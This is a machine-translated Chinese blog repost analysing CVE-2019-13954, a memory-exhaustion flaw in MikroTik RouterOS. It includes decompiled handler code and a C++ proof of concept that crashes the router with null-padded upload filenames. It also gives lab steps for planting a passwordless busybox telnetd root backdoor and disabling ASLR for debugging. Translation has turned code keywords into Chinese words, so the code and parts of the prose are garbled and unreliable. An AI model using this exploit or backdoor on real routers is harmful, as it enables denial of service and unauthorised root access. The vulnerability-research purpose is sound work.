CVE-2019-13954之MikroTik RouterOS内存耗尽
2022-11-17 09:10:50 Author: 编码安全研究(查看原文) 阅读量:39 收藏

产品描述:

Mikroik RouterOS是一种路由器操作系统,其通过PC电脑成为专业路由器,并通过该软件成为专业的软件,历来不断更新和改进,在不断更新和完善。路由器操作系统具备多种路由系统的功能、ISP网路接入社区、ISP网路接入点等功能,备受业界瞩目。等网络设备的接入架构,基于标准的x86。

漏洞利用分析:

漏洞描述

CVE-2019-13954MikroTik RouterOS中的一个memory exhaustion漏洞。认证的用户通过构造并发送特殊的POST请求,服务程序在处理POST请求时会出现“死”循环memory exhaustion,导致,导致服务程序崩溃或系统重启。

漏洞原理

根据漏洞公告中提到的"/jsproxy/upload",在6.42.11版本中:
int __cdecl JSProxyServlet :: doUpload ( int a1 , int a2 , Headers * a3 , Headers * a4 ) { //...
while ( 1 )
{
sub_51F7 ( v37 , & s1 ); //读取请求POST
if ( ! s1 )
break ;
v14 = - 1 ;
v15 = & s1 ;

{
如果 ( ! v14 )
休息;
v16 = * v15 ++ == 0 ;
-- v14 ;
}
( ! v16 );
if ( v14 != 0x100u ) //数据长度限制
{
v36 = 0 ;
字符串::字符串((字符串 * ) & v46 , & s1 );
v17 = 标题:: parseHeaderLine ((标头 * ) & v47 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 );
如果 v17
继续
}
字符串::字符串((字符串 * ) & v46 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v46 );
字符串:: freeptr ((字符串 * ) & v46 ); LABEL_60 :
tree_base :: clear ( v19 , v18 , & v47 , map_node_destr < string , HeaderField > );
转到 LABEL_61 ;
}
//... }
40 时,在确定之前的版本 6.5.5,增加了对读取POST请求数据长度的:当长度超过0x100(包括最后的'\x00')循环时会跳出
6.40.5版本:
int __cdecl JSProxyServlet :: doUpload ( int a1 , int a2 , Headers * a3 , Headers * a4 ) {
// ...
while ( 1 )
{
sub_77464E9F ( v27 , ( char * ) s1 ); // 读取POST请求数据
if ( ! LOBYTE ( s1 [ 0 ]) )
break ;
字符串::字符串((字符串 * ) & v36 , ( const char * ) s1 );
v11 = Headers :: parseHeaderLine (( Headers * ) & v37 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
如果 v11
{
字符串::字符串((字符串 * ) & v36 , "" );
响应:: sendError ( a4 , 400 , ( const string * ) & v36 );
字符串:: freeptr ((字符串 * ) & v36 );
LABEL_56 :
tree_base :: clear ( v13 , v12 , & v37 , map_node_destr < string , HeaderField >);
转到 LABEL_57 ;
}
}
// ... }
观看sub_51F7功能:
char * __usercall sub_51F7 @ < eax > ( istream * a1 @ < eax > , char * a2 @ < edx > ) {
const char * v2 ; // esi
char *结果; // eax
unsigned int v4 ; // ecx
v2 = a2 ;
istream :: getline ( a1 , a2 , 0x100u , 10 );
结果 = 0 ;
v4 = strlen ( v2 ) + 1 ;
if ( v4 != 1 )
{
结果 = ( char * ) & v2 [ v4 - 2 ];
如果 ( *结果 == 13 )
*结果 = 0 ;
}
返回 结果}
为了准备程序前,我们要让程序有两个条件循环
  • 调用sub_51F7,无法读取到数据
  • 调用Headers::parseHeaderLine(),解析失败
其中第一个很好的满足,因为每次输入都失败了。至于下线解析失败,POC条件可以推测出,从没有连接行切换,会认为输入流关闭,此时调用相当于返回标题行解析由于没有接收到换行一直持续下去。而导致不能循环退出。
而在增量增加了对字符长度的直接判断,后侦查到输入大于0x100000字节的循环循环。
正常getline是回车,\0结束。
  • 遇到\0直接结束。
  • 遇到回车结束然后把回车替换成\0
因此\0,我们可以直接在循环中加入,\0因此我们可以直接在循环中加入\0,因此决定了这个判断。
来了,如果问题里\0已经结束了,那么直接结束,我们就能得到最大的有效负载长度为 0x1000,但是基础触发条件没有了。
\0这样就不会存在最终的问题了,而且可以允许判断,同时大小大于0x100 \\
因此,需要额外补充大量的,只需要在filename备用参数'\x00',再次触发漏洞。

POC

#include <cstdlib>#include <iostream>#include <boost/cstdint.hpp>#include <boost/program_options.hpp>#include “jsproxy_session.hpp”#include "winbox_message.hpp"命名空间{
const char s_version [] = "CVE-2019-13954 PoC 1.1.0" ;
bool parseCommandLine ( int p_argCount , const char * p_argArray [],
std :: string & p_username , std :: string & p_password ,
std :: string & p_ip , std :: string & p_port )
{
boost :: program_options :: options_description 描述“选项” );
说明添加选项()
( "help,h" , "命令行选项列表" )
( "version,v" , "显示版本信息" )
( "username,u" , boost :: program_options :: value < std :: string > (), "登录的用户" )
( "密码" , boost :: program_options :: value < std :: string > (), "登录的密码")
( "端口,p", boost :: program_options :: value < std :: string > () -> default_value ( "80" ), "要连接的 HTTP 端口" )
( "ip,i" , boost :: program_options :: value < std :: string > (), "要连接的 IPv4 地址" );
boost :: program_options :: variables_map argv_map ;
尝试
{
boost :: program_options :: store (
boost :: program_options :: parse_command_line (
p_argCount , p_argArray , description ), argv_map );
}
catch ( const std :: exception & e )
{
std :: cerr << e 什么() << " \n " << 标准:: endl ;
std :: cerr << 描述 << std :: endl ;
返回
}
boost :: program_options ::通知argv_map );
if ( argv_map .empty ( ) || argv_map .count ( " help " ) ) { std :: cerr << description << std :: endl ; 返回}


if ( argv_map . count ( "version" ))
{
std :: cerr << "版本:" << :: s_version << std :: endl ;
返回
}
if ( argv_map . count ( "username" ) && argv_map . count ( "ip" ) &
argv_map . count ( "port" ))
{
p_username . 分配argv_map [ “用户名” ] 。as < std :: string > ()); p_ip 赋值argv_map [ “ip” ]. as < std :: string >
());
p_port 分配argv_map [ “端口” ] 。as < std :: string > ());
if ( argv_map . count ( "password" ))
{
p_password . 分配argv_map [ “密码” ] 。as < std :: string > ()); }其他{ p_password 赋值“” );}返回} else { std :: cerr <<描述<< std :: endl ; }


返回
} }int main ( int p_argc , const char ** p_argv ) {
std :: string username ;
标准::字符串 密码;
标准::字符串 ip ;
标准::字符串 端口
if ( ! parseCommandLine ( p_argc , p_argv , username , password , ip , port ))
{
return EXIT_FAILURE ;
}
JSProxySession jsSession ( ip , 端口);
if ( ! jsSession .connect ( ) ) { std :: cerr << "连接远程主机失败" << std :: endl ; 返回EXIT_FAILURE }


// 生成会话密钥但不登录
if ( ! jsSession .negotiateEncryption ( username , password , false ) ) { std :: cerr << "加密协商失败。" << std :: endl ; 返回EXIT_FAILURE }


标准::字符串 文件名
for ( int i = 0 ; i < 0x50 ; i ++ )
{
文件名push_back ( 'A' );
}
for ( int i = 0 ; i < 0x100 ; i ++ )
{
文件名push_back ( '\x00' );
}
if ( jsSession . uploadFile (文件名, "lol." ))
{
std :: cout << "success!" << std :: endl ;
}
返回 EXIT_SUCCESS }

环境与听力复现

路由器操作系统环境

CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址:https://mikrotik.com/download
使用虚拟机安装,点击VMware,安装所有,然后我选择安装默认就行
安装成功后进入登陆页面,用户名是admin,密码为空
虚拟机修改为NAT模式,和ubuntu在同一个子网下
虚拟机获取ip
ip dhcp-client add interface=ether disabled=no
查看虚拟机获取的ip
ip dhcp-client print detail

获取完整的shell

文件下载

想要用什么样的方式来模拟和测试环境,RouterOS然后用什么样的方式来获取特定的界面比较,还需要用什么样的命令来演示实施改进的设备root shell
我们需要下载busybox(用于打开root后门)、gdbserver.i686(远程调试)
忙箱:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
除了busybox,我们还可以通过https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门
gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686

硬盘挂载

这里我们使用 ubuntu 挂载 routeros 的石墨,在 ubuntu 的虚拟机设置中添加 routeros 的硬盘,此时需要将 routeros 的电源。
挂载完成后,使用巴士访问挂载磁盘,将数据库服务器复制到/rw/disk并获得授权g777
/rw目录下写入一个DEFCONF脚本,使引导程序OS引导运行后门,使路由重启会失效。
ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
这时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
telnet ip port

漏洞获取文件

在通过门登陆后,查看www和jsproxy.p所在的位置
find / -name wwwfind / -name jsproxy.p
这里可以通过工具Chimay-Red从官网上提取6.42.11版本的www、jsproxy.p
./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2
编译生成POC
下载地址:https://github.com/tenable/routeros
环境:依赖
  • 提升 1.66 或更高
  • 制作
安装加速:
Ubuntu:
sudo apt-get install libboost-dev
需要提醒的是gcc版本需要失败6,否则会导致编译
编译生成cve_2019_13954的poc
cd cve_2019_13954mkdir buildcd buildcmake ..make
编译成功后使用,使用方式
这里我们使用:
./cve_2019_13954_poc -i 192.168.111.17 -u admin

漏洞验证

与该相关漏洞的程序为www上利用gdbserver附加到该进程中进行远程调试,然后运行设备脚本PoC,直接发现系统重启。
在调试验证的过程中注意Linux默认了保护机制(寻找任务机制,通过泄露ASLR的内存泄露,以便方便使用ASLR)
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
通过后门busybox登陆routeros,查看www的进程后,开启gdbserver附加www:
./gdbserver.i686 localhost:1234 --attach 267
此时在ubuntu上开启gdb,准备调试,架构为i386,目标主机为192.168.0.113,端口为1234
gdbset architecture i386target remote 192.168.111.17:1234
本地运行POC,info proc mappings查看当前已经加载的模块,可以看到jsproxy已经加载进来了
./cve_2019_13954_poc -i 192.168.111.17 -u admin
在ida中找到要断点的函数偏移地址,从上传函数断点,做偏移量为8D08
将映射我们的基地址加上中地址就ok了,我们的断点proxy
b *0x774f9000+0x8D08
c一下发现系统直接重启了
参考资源:
https://cq674350529.github.io/2019/08/15/CVE-2018-1158-MikroTik-RouterOS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90% E4%B9%8B%E5%8F%91%E7%8E%B0CVE-2019-13955/
https://www.anquanke.com/post/id/254635#h3-8
https://github.com/BigNerd95/Chimay-Red
https://github.com/tenable/routeros
https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1
https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6
https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik
https://raw.githubusercontent.com/tenable/routeros/master/slides/bug_hunting_in_routeros_derbycon_2018.pdf
来源先知(https://xz.aliyun.com/t/11541#toc-0)
注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247497329&idx=2&sn=d0870478fde74a86d6754fd9ef508678&chksm=ce64a514f9132c02803e015d388ea7d8e4209cad3c505a40e9a1970cb0949453aacb536ea975#rd
如有侵权请联系:admin#unsafe.sh